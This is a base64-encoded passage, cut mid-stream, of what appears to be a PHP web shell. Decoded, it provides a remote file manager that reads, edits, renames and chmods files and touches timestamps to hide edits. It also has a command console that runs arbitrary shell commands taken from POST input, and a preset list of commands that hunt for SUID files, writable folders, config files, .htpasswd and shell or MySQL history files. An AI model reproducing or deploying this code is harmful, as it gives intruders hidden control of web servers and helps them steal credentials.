UE9TVFsncDEnXSk/dmlld1NpemUoZmlsZXNpemUoJF9QT1NUWydwMSddKSk6Jy0nKS4nIDxzcGFu PlBlcm1pc3Npb246PC9zcGFuPiAnLnZpZXdQZXJtc0NvbG9yKCRfUE9TVFsncDEnXSkuJyA8c3Bh bj5Pd25lci9Hcm91cDo8L3NwYW4+ICcuJHVpZFsnbmFtZSddLicvJy4kZ2lkWyduYW1lJ10uJzxi cj4nOwoJZWNobyAnPHNwYW4+Q3JlYXRlIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpz JyxmaWxlY3RpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5BY2Nlc3MgdGltZTo8L3NwYW4+ICcu ZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVhdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPk1vZGlm eSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRfUE9TVFsncDEn XSkpLic8YnI+PGJyPic7CglpZiggZW1wdHkoJF9QT1NUWydwMiddKSApCgkJJF9QT1NUWydwMidd ID0gJ3ZpZXcnOwoJaWYoIGlzX2ZpbGUoJF9QT1NUWydwMSddKSApCgkJJG0gPSBhcnJheSgnVmll dycsICdIaWdobGlnaHQnLCAnRG93bmxvYWQnLCAnSGV4ZHVtcCcsICdFZGl0JywgJ0NobW9kJywg J1JlbmFtZScsICdUb3VjaCcsICdGcmFtZScpOwoJZWxzZQoJCSRtID0gYXJyYXkoJ0NobW9kJywg J1JlbmFtZScsICdUb3VjaCcpOwoJZm9yZWFjaCgkbSBhcyAkdikKCQllY2hvICc8YSBocmVmPSMg b25jbGljaz0iZyhudWxsLG51bGwsXCcnIC4gdXJsZW5jb2RlKCRfUE9TVFsncDEnXSkgLiAnXCcs XCcnLnN0cnRvbG93ZXIoJHYpLidcJykiPicuKChzdHJ0b2xvd2VyKCR2KT09QCRfUE9TVFsncDIn XSk/JzxiPlsgJy4kdi4nIF08L2I+JzokdikuJzwvYT4gJzsKCWVjaG8gJzxicj48YnI+JzsKCXN3 aXRjaCgkX1BPU1RbJ3AyJ10pIHsKCQljYXNlICd2aWV3JzoKCQkJZWNobyAnPHByZSBjbGFzcz1t bDE+JzsKCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsKCQkJaWYoJGZwKSB7CgkJ CQl3aGlsZSggIUBmZW9mKCRmcCkgKQoJCQkJCWVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQo JGZwLCAxMDI0KSk7CgkJCQlAZmNsb3NlKCRmcCk7CgkJCX0KCQkJZWNobyAnPC9wcmU+JzsKCQkJ YnJlYWs7CgkJY2FzZSAnaGlnaGxpZ2h0JzoKCQkJaWYoIEBpc19yZWFkYWJsZSgkX1BPU1RbJ3Ax J10pICkgewoJCQkJZWNobyAnPGRpdiBjbGFzcz1tbDEgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6 ICNlMWUxZTE7Y29sb3I6YmxhY2s7Ij4nOwoJCQkJJG9SYiA9IEBoaWdobGlnaHRfZmlsZSgkX1BP U1RbJ3AxJ10sdHJ1ZSk7CgkJCQllY2hvIHN0cl9yZXBsYWNlKGFycmF5KCc8c3BhbiAnLCc8L3Nw YW4+JyksIGFycmF5KCc8Zm9udCAnLCc8L2ZvbnQ+JyksJG9SYikuJzwvZGl2Pic7CgkJCX0KCQkJ YnJlYWs7CgkJY2FzZSAnY2htb2QnOgoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CgkJ CQkkcGVybXMgPSAwOwoJCQkJZm9yKCRpPXN0cmxlbigkX1BPU1RbJ3AzJ10pLTE7JGk+PTA7LS0k aSkKCQkJCQkkcGVybXMgKz0gKGludCkkX1BPU1RbJ3AzJ11bJGldKnBvdyg4LCAoc3RybGVuKCRf UE9TVFsncDMnXSktJGktMSkpOwoJCQkJaWYoIUBjaG1vZCgkX1BPU1RbJ3AxJ10sICRwZXJtcykp CgkJCQkJZWNobyAnQ2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8YnI+PHNjcmlwdD5kb2N1bWVudC5t Zi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwoJCQl9CgkJCWNsZWFyc3RhdGNhY2hlKCk7CgkJCWVj aG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxc JycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxudWxsLHRoaXMuY2htb2QudmFsdWUp O3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jaG1vZCB2YWx1ZT0iJy5zdWJz dHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwMSddKSksLTQpLiciPjxpbnB1dCB0 eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0+JzsKCQkJYnJlYWs7CgkJY2FzZSAnZWRp dCc6CgkJCWlmKCAhaXNfd3JpdGFibGUoJF9QT1NUWydwMSddKSkgewoJCQkJZWNobyAnRmlsZSBp c25cJ3Qgd3JpdGVhYmxlJzsKCQkJCWJyZWFrOwoJCQl9CgkJCWlmKCAhZW1wdHkoJF9QT1NUWydw MyddKSApIHsKCQkJCSRkaXJuYW1lID0gQGRpcm5hbWUoJF9QT1NUWydwMSddKTsKCQkJCSRkaXJ0 aW1lID0gQGZpbGVtdGltZSgkZGlybmFtZSk7CgkJCQkkdGltZSA9IEBmaWxlbXRpbWUoJF9QT1NU WydwMSddKTsKCQkJCSRfUE9TVFsncDMnXSA9IHN1YnN0cigkX1BPU1RbJ3AzJ10sMSk7CgkJCQkk ZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCJ3Iik7CgkJCQlpZigkZnApIHsKCQkJCQlAZndyaXRl KCRmcCwkX1BPU1RbJ3AzJ10pOwoJCQkJCUBmY2xvc2UoJGZwKTsKCQkJCQllY2hvICdTYXZlZCE8 YnI+PHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+JzsKCQkJCQlAdG91Y2goJF9QT1NUWydwMSddLCAk dGltZSwgJHRpbWUpOwoJCQkJCUB0b3VjaCgkZGlybmFtZSwgJGRpcnRpbWUsICRkaXJ0aW1lKTsK CQkJCX0KCQkJfQoJCQllY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsXCcnIC4gdXJs ZW5jb2RlKCRfUE9TVFsncDEnXSkgLiAnXCcsbnVsbCxcJzFcJyt0aGlzLnRleHQudmFsdWUpO3Jl dHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPXRleHQgY2xhc3M9YmlnYXJlYT4nOwoJCQkkZnAg PSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOwoJCQlpZigkZnApIHsKCQkJCXdoaWxlKCAhQGZl b2YoJGZwKSApCgkJCQkJZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsK CQkJCUBmY2xvc2UoJGZwKTsKCQkJfQoJCQllY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1 Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0+JzsKCQkJYnJlYWs7CgkJY2FzZSAnaGV4ZHVtcCc6 CgkJCSRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSk7CgkJCSRuID0gMDsKCQkJ JGggPSBhcnJheSgnMDAwMDAwMDA8YnI+JywnJywnJyk7CgkJCSRsZW4gPSBzdHJsZW4oJGMpOwoJ CQlmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsKCQkJCSRoWzFdIC49IHNwcmludGYoJyUwMlgn LG9yZCgkY1skaV0pKS4nICc7CgkJCQlzd2l0Y2ggKCBvcmQoJGNbJGldKSApIHsKCQkJCQljYXNl IDA6ICAkaFsyXSAuPSAnICc7IGJyZWFrOwoJCQkJCWNhc2UgOTogICRoWzJdIC49ICcgJzsgYnJl YWs7CgkJCQkJY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsKCQkJCQljYXNlIDEzOiAkaFsy XSAuPSAnICc7IGJyZWFrOwoJCQkJCWRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsgYnJlYWs7CgkJ CQl9CgkJCQkkbisrOwoJCQkJaWYgKCRuID09IDMyKSB7CgkJCQkJJG4gPSAwOwoJCQkJCWlmICgk aSsxIDwgJGxlbikgeyRoWzBdIC49IHNwcmludGYoJyUwOFgnLCRpKzEpLic8YnI+Jzt9CgkJCQkJ JGhbMV0gLj0gJzxicj4nOwoJCQkJCSRoWzJdIC49ICJcbiI7CgkJCQl9CgkJIAl9CgkJCWVjaG8g Jzx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj0jMjIyPjx0cj48dGQg Ymdjb2xvcj0jMWUyNTJmPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogbm9ybWFsOyI+PHByZT4n LiRoWzBdLic8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jMDYwYTEwPjxwcmU+Jy4kaFsx XS4nPC9wcmU+PC90ZD48dGQgYmdjb2xvcj0jMWUyNTJmPjxwcmU+Jy5odG1sc3BlY2lhbGNoYXJz KCRoWzJdKS4nPC9wcmU+PC90ZD48L3RyPjwvdGFibGU+JzsKCQkJYnJlYWs7CgkJY2FzZSAncmVu YW1lJzoKCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewoJCQkJaWYoIUByZW5hbWUoJF9Q T1NUWydwMSddLCAkX1BPU1RbJ3AzJ10pKQoJCQkJCWVjaG8gJ0NhblwndCByZW5hbWUhPGJyPic7 CgkJCQllbHNlCgkJCQkJZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLCInLnVybGVuY29kZSgkX1BP U1RbJ3AzJ10pLiciLG51bGwsIiIpPC9zY3JpcHQ+Jyk7CgkJCX0KCQkJZWNobyAnPGZvcm0gb25z dWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51 bGwsdGhpcy5uYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9 bmFtZSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkuJyI+PGlucHV0IHR5 cGU9c3VibWl0IHZhbHVlPSJzdWJtaXQiPjwvZm9ybT4nOwoJCQlicmVhazsKCQljYXNlICd0b3Vj aCc6CgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsKCQkJCSR0aW1lID0gc3RydG90aW1l KCRfUE9TVFsncDMnXSk7CgkJCQlpZigkdGltZSkgewoJCQkJCWlmKCF0b3VjaCgkX1BPU1RbJ3Ax J10sJHRpbWUsJHRpbWUpKQoJCQkJCQllY2hvICdGYWlsISc7CgkJCQkJZWxzZQoJCQkJCQllY2hv ICdUb3VjaGVkISc7CgkJCQl9IGVsc2UgZWNobyAnQmFkIHRpbWUgZm9ybWF0ISc7CgkJCX0KCQkJ Y2xlYXJzdGF0Y2FjaGUoKTsKCQkJZWNobyAnPHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+PGZvcm0g b25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wn LG51bGwsdGhpcy50b3VjaC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBu YW1lPXRvdWNoIHZhbHVlPSInLmRhdGUoIlktbS1kIEg6aTpzIiwgQGZpbGVtdGltZSgkX1BPU1Rb J3AxJ10pKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9InN1Ym1pdCI+PC9mb3JtPic7CgkJ CWJyZWFrOwoJCS8qICjQoSkgMTIuMjAxNSBtaXRyeXogKi8KCQljYXNlICdmcmFtZSc6CgkJCSRm cmFtZVNyYyA9IHN1YnN0cihodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSksIHN0cmxl bihodG1sc3BlY2lhbGNoYXJzKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10pKSk7CgkJCWlmICgk ZnJhbWVTcmNbMF0gIT0gJy8nKQoJCQkJJGZyYW1lU3JjID0gJy8nIC4gJGZyYW1lU3JjOwoJCQlp ZiAoJGZyYW1lU3JjW3N0cmxlbigkZnJhbWVTcmMpIC0gMV0gIT0gJy8nKQoJCQkJJGZyYW1lU3Jj ID0gJGZyYW1lU3JjIC4gJy8nOwoJCQkkZnJhbWVTcmMgPSAkZnJhbWVTcmMgLiBodG1sc3BlY2lh bGNoYXJzKCRfUE9TVFsncDEnXSk7CgkJCWVjaG8gJzxpZnJhbWUgd2lkdGg9IjEwMCUiIGhlaWdo dD0iOTAwcHgiIHNjcm9sbGluZz0ibm8iIHNyYz0nLiRmcmFtZVNyYy4nIG9ubG9hZD0ib25sb2Fk PWhlaWdodD1jb250ZW50RG9jdW1lbnQuYm9keS5zY3JvbGxIZWlnaHQiPjwvaWZyYW1lPic7CgkJ CWJyZWFrOwoJfQoJZWNobyAnPC9kaXY+JzsKCWhhcmRGb290ZXIoKTsKfQppZigkb3MgPT0gJ3dp bicpCgkkYWxpYXNlcyA9IGFycmF5KAoJCSJMaXN0IERpcmVjdG9yeSIgPT4gImRpciIsCiAgICAJ IkZpbmQgaW5kZXgucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iIGluZGV4LnBo cCIsCiAgICAJIkZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93 IC9iICpjb25maWcqLnBocCIsCiAgICAJIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0 c3RhdCAtYW4iLAogICAgCSJTaG93IHJ1bm5pbmcgc2VydmljZXMiID0+ICJuZXQgc3RhcnQiLAog ICAgCSJVc2VyIGFjY291bnRzIiA9PiAibmV0IHVzZXIiLAogICAgCSJTaG93IGNvbXB1dGVycyIg PT4gIm5ldCB2aWV3IiwKCQkiQVJQIFRhYmxlIiA9PiAiYXJwIC1hIiwKCQkiSVAgQ29uZmlndXJh dGlvbiIgPT4gImlwY29uZmlnIC9hbGwiCgkpOwplbHNlCgkkYWxpYXNlcyA9IGFycmF5KAogIAkJ Ikxpc3QgZGlyIiA9PiAibHMgLWxoYSIsCgkJImxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGlu dXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiA9PiAibHNhdHRyIC12YSIsCiAgCQkic2hv dyBvcGVuZWQgcG9ydHMiID0+ICJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIiwKICAgICAg ICAicHJvY2VzcyBzdGF0dXMiID0+ICJwcyBhdXgiLAoJCSJGaW5kIiA9PiAiIiwKICAJCSJmaW5k IGFsbCBzdWlkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsCiAg CQkiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBl cm0gLTA0MDAwIC1scyIsCiAgCQkiZmluZCBhbGwgc2dpZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlw ZSBmIC1wZXJtIC0wMjAwMCAtbHMiLAogIAkJImZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRp ciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLAogIAkJImZpbmQgY29uZmln LmluYy5waHAgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIs CiAgCQkiZmluZCBjb25maWcqIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgXCJjb25m aWcqXCIiLAogIAkJImZpbmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQg LiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwKICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb2xk ZXJzIGFuZCBmaWxlcyIgPT4gImZpbmQgLyAtcGVybSAtMiAtbHMiLAogIAkJImZpbmQgYWxsIHdy aXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC1wZXJt IC0yIC1scyIsCiAgCQkiZmluZCBhbGwgc2VydmljZS5wd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5 cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsCiAgCQkiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBj dXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwKICAJCSJm aW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNz d2QiLAogIAkJImZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAu IC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwKICAJCSJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZp bGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsCiAgCQkiZmluZCAu YmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5h bWUgLmJhc2hfaGlzdG9yeSIsCiAgCQkiZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAi ZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwKICAJCSJmaW5kIC5mZXRjaG1haWxy YyBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1h aWxyYyIsCgkJIkxvY2F0ZSIgPT4gIiIsCiAgCQkibG9jYXRlIGh0dHBkLmNvbmYgZmlsZXMiID0+ ICJsb2NhdGUgaHR0cGQuY29uZiIsCgkJImxvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyIgPT4gImxv Y2F0ZSB2aG9zdHMuY29uZiIsCgkJImxvY2F0ZSBwcm9mdHBkLmNvbmYgZmlsZXMiID0+ICJsb2Nh dGUgcHJvZnRwZC5jb25mIiwKCQkibG9jYXRlIHBzeWJuYy5jb25mIGZpbGVzIiA9PiAibG9jYXRl IHBzeWJuYy5jb25mIiwKCQkibG9jYXRlIG15LmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgbXkuY29u ZiIsCgkJImxvY2F0ZSBhZG1pbi5waHAgZmlsZXMiID0+ImxvY2F0ZSBhZG1pbi5waHAiLAoJCSJs b2NhdGUgY2ZnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjZmcucGhwIiwKCQkibG9jYXRlIGNvbmYu cGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmYucGhwIiwKCQkibG9jYXRlIGNvbmZpZy5kYXQgZmls ZXMiID0+ICJsb2NhdGUgY29uZmlnLmRhdCIsCgkJImxvY2F0ZSBjb25maWcucGhwIGZpbGVzIiA9 PiAibG9jYXRlIGNvbmZpZy5waHAiLAoJCSJsb2NhdGUgY29uZmlnLmluYyBmaWxlcyIgPT4gImxv Y2F0ZSBjb25maWcuaW5jIiwKCQkibG9jYXRlIGNvbmZpZy5pbmMucGhwIiA9PiAibG9jYXRlIGNv bmZpZy5pbmMucGhwIiwKCQkibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCBmaWxlcyIgPT4gImxv Y2F0ZSBjb25maWcuZGVmYXVsdC5waHAiLAoJCSJsb2NhdGUgY29uZmlnKiBmaWxlcyAiID0+ICJs b2NhdGUgY29uZmlnIiwKCQkibG9jYXRlIC5jb25mIGZpbGVzIj0+ImxvY2F0ZSAnLmNvbmYnIiwK CQkibG9jYXRlIC5wd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5wd2QnIiwKCQkibG9jYXRlIC5zcWwg ZmlsZXMiID0+ICJsb2NhdGUgJy5zcWwnIiwKCQkibG9jYXRlIC5odHBhc3N3ZCBmaWxlcyIgPT4g ImxvY2F0ZSAnLmh0cGFzc3dkJyIsCgkJImxvY2F0ZSAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAi bG9jYXRlICcuYmFzaF9oaXN0b3J5JyIsCgkJImxvY2F0ZSAubXlzcWxfaGlzdG9yeSBmaWxlcyIg PT4gImxvY2F0ZSAnLm15c3FsX2hpc3RvcnknIiwKCQkibG9jYXRlIC5mZXRjaG1haWxyYyBmaWxl cyIgPT4gImxvY2F0ZSAnLmZldGNobWFpbHJjJyIsCgkJImxvY2F0ZSBiYWNrdXAgZmlsZXMiID0+ ICJsb2NhdGUgYmFja3VwIiwKCQkibG9jYXRlIGR1bXAgZmlsZXMiID0+ICJsb2NhdGUgZHVtcCIs CgkJImxvY2F0ZSBwcml2IGZpbGVzIiA9PiAibG9jYXRlIHByaXYiCgkpOwpmdW5jdGlvbiBhY3Rp b25Db25zb2xlKCkgewogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkgJiYgIWVtcHR5KCRfUE9T VFsncDInXSkpIHsKICAgICAgICBwcm90b3R5cGUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSku J3N0ZGVycl90b19vdXQnLCB0cnVlKTsKICAgICAgICAkX1BPU1RbJ3AxJ10gLj0gJyAyPiYxJzsK ICAgIH0gZWxzZWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKQogICAgICAgIHByb3RvdHlwZShtZDUo JF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkZXJyX3RvX291dCcsIDApOwoJaWYoaXNzZXQoJF9Q T1NUWydhamF4J10pKSB7CgkJcHJvdG90eXBlKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidh amF4JywgdHJ1ZSk7CgkJb2Jfc3RhcnQoKTsKCQllY2hvICJkLmNmLmNtZC52YWx1ZT0nJztcbiI7 CgkJJHRlbXAgPSBAaWNvbnYoJF9QT1NUWydjaGFyc2V0J10sICdVVEYtOCcsIGFkZGNzbGFzaGVz KCJcbiQgIi4kX1BPU1RbJ3AxJ10uIlxuIi5leCgkX1BPU1RbJ3AxJ10pLCJcblxyXHRcJ1wwIikp OwoJCWlmKHByZWdfbWF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3AxJ10sJG1hdGNo KSkJewoJCQlpZihAY2hkaXIoJG1hdGNoWzFdKSkgewoJCQkJJEdMT0JBTFNbJ2N3ZCddID0gQGdl dGN3ZCgpOwoJCQkJZWNobyAiY189JyIuJEdMT0JBTFNbJ2N3ZCddLiInOyI7CgkJCX0KCQl9CgkJ ZWNobyAiZC5jZi5vdXRwdXQudmFsdWUrPSciLiR0ZW1wLiInOyI7CgkJZWNobyAiZC5jZi5vdXRw dXQuc2Nyb2xsVG9wID0gZC5jZi5vdXRwdXQuc2Nyb2xsSGVpZ2h0OyI7CgkJJHRlbXAgPSBvYl9n ZXRfY2xlYW4oKTsKCQllY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOwoJCWV4aXQ7Cgl9 CiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQoJCXBy b3RvdHlwZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCcsIDApOwoJaGFyZEhlYWRl cigpOwogICAgZWNobyAiPHNjcmlwdD4KaWYod2luZG93LkV2ZW50KSB3aW5kb3cuY2FwdHVyZUV2 ZW50cyhFdmVudC5LRVlET1dOKTsKdmFyIGNtZHMgPSBuZXcgQXJyYXkoJycpOwp2YXIgY3VyID0g MDsKZnVuY3Rpb24ga3AoZSkgewoJdmFyIG4gPSAod2luZG93LkV2ZW50KSA/IGUud2hpY2ggOiBl LmtleUNvZGU7CglpZihuID09IDM4KSB7CgkJY3VyLS07CgkJaWYoY3VyPj0wKQoJCQlkb2N1bWVu dC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07CgkJZWxzZQoJCQljdXIrKzsKCX0gZWxzZSBpZihu ID09IDQwKSB7CgkJY3VyKys7CgkJaWYoY3VyIDwgY21kcy5sZW5ndGgpCgkJCWRvY3VtZW50LmNm LmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsKCQllbHNlCgkJCWN1ci0tOwoJfQp9CmZ1bmN0aW9uIGFk ZChjbWQpIHsKCWNtZHMucG9wKCk7CgljbWRzLnB1c2goY21kKTsKCWNtZHMucHVzaCgnJyk7Cglj dXIgPSBjbWRzLmxlbmd0aC0xOwp9Cjwvc2NyaXB0PiI7CgllY2hvICc8aDE+Q29uc29sZTwvaDE+ PGRpdiBjbGFzcz1jb250ZW50Pjxmb3JtIG5hbWU9Y2Ygb25zdWJtaXQ9ImlmKGQuY2YuY21kLnZh bHVlPT1cJ2NsZWFyXCcpe2QuY2Yub3V0cHV0LnZhbHVlPVwnXCc7ZC5jZi5jbWQudmFsdWU9XCdc JztyZXR1cm4gZmFsc2U7fWFkZCh0aGlzLmNtZC52YWx1ZSk7aWYodGhpcy5hamF4LmNoZWNrZWQp e2EobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlLHRoaXMuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwn XCcpO31lbHNle2cobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlLHRoaXMuc2hvd19lcnJvcnMuY2hl Y2tlZD8xOlwnXCcpO30gcmV0dXJuIGZhbHNlOyI+PGxhYmVsPjxzZWxlY3QgbmFtZT1hbGlhcz4n OwoJZm9yZWFjaCgkR0xPQkFMU1snYWxpYXNlcyddIGFzICRuID0+ICR2KSB7CgkJaWYoJHYgPT0g JycpIHsKCQkJZWNobyAnPG9wdGdyb3VwIGxhYmVsPSItJy5odG1sc3BlY2lhbGNoYXJzKCRuKS4n LSI+PC9vcHRncm91cD4nOwoJCQljb250aW51ZTsKCQl9CgkJZWNobyAnPG9wdGlvbiB2YWx1ZT0i Jy5odG1sc3BlY2lhbGNoYXJzKCR2KS4nIj4nLiRuLic8L29wdGlvbj4nOwoJfQoKCWVjaG8gJzwv c2VsZWN0PjwvbGFiZWw+PGlucHV0IHR5cGU9YnV0dG9uIG9uY2xpY2s9ImFkZChkLmNmLmFsaWFz LnZhbHVlKTtpZihkLmNmLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsZC5jZi5hbGlhcy52YWx1 ZSxkLmNmLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9ZWxzZXtnKG51bGwsbnVsbCxkLmNm LmFsaWFzLnZhbHVlLGQuY2Yuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO30iIHZhbHVlPSJz dWJtaXQiPiA8bm9icj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLihA JF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6Jycp Lic+IHNlbmQgdXNpbmcgQUpBWCA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXNob3dfZXJyb3Jz IHZhbHVlPTEgJy4oIWVtcHR5KCRfUE9TVFsncDInXSl8fCRfQ09PS0lFW21kNSgkX1NFUlZFUlsn SFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0J10/J2NoZWNrZWQnOicnKS4nPiByZWRpcmVjdCBz dGRlcnIgdG8gc3Rkb3V0ICgyPiYxKTwvbm9icj48YnIvPjx0ZXh0YXJlYSBjbGFzcz1iaWdhcmVh IG5hbWU9b3V0cHV0IHN0eWxlPSJib3JkZXItYm90dG9tOjA7bWFyZ2luLXRvcDo1cHg7IiByZWFk b25seT4nOwoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKCQllY2hvIGh0bWxzcGVjaWFsY2hh cnMoIiQgIi4kX1BPU1RbJ3AxJ10uIlxuIi5leCgkX1BPU1RbJ3AxJ10pKTsKCX0KCWVjaG8gJzwv dGV4dGFyZWE+PHRhYmxlIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICMwNjBhMTA7YmFja2dyb3Vu ZC1jb2xvcjojMDYwYTEwO2JvcmRlci10b3A6MHB4OyIgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2lu Zz0wIHdpZHRoPSIxMDAlIj48dHI+PHRkIHN0eWxlPSJwYWRkaW5nLWxlZnQ6NHB4OyB3aWR0aDox M3B4OyI+JDwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jbWQgc3R5bGU9ImJvcmRlcjow cHg7d2lkdGg6MTAwJTsiIG9ua2V5ZG93bj0ia3AoZXZlbnQpOyI+PC90ZD48L3RyPjwvdGFibGU+ JzsKCWVjaG8gJzwvZm9ybT48L2Rpdj48c2NyaXB0PmQuY2YuY21kLmZvY3VzKCk7PC9zY3JpcHQ+ 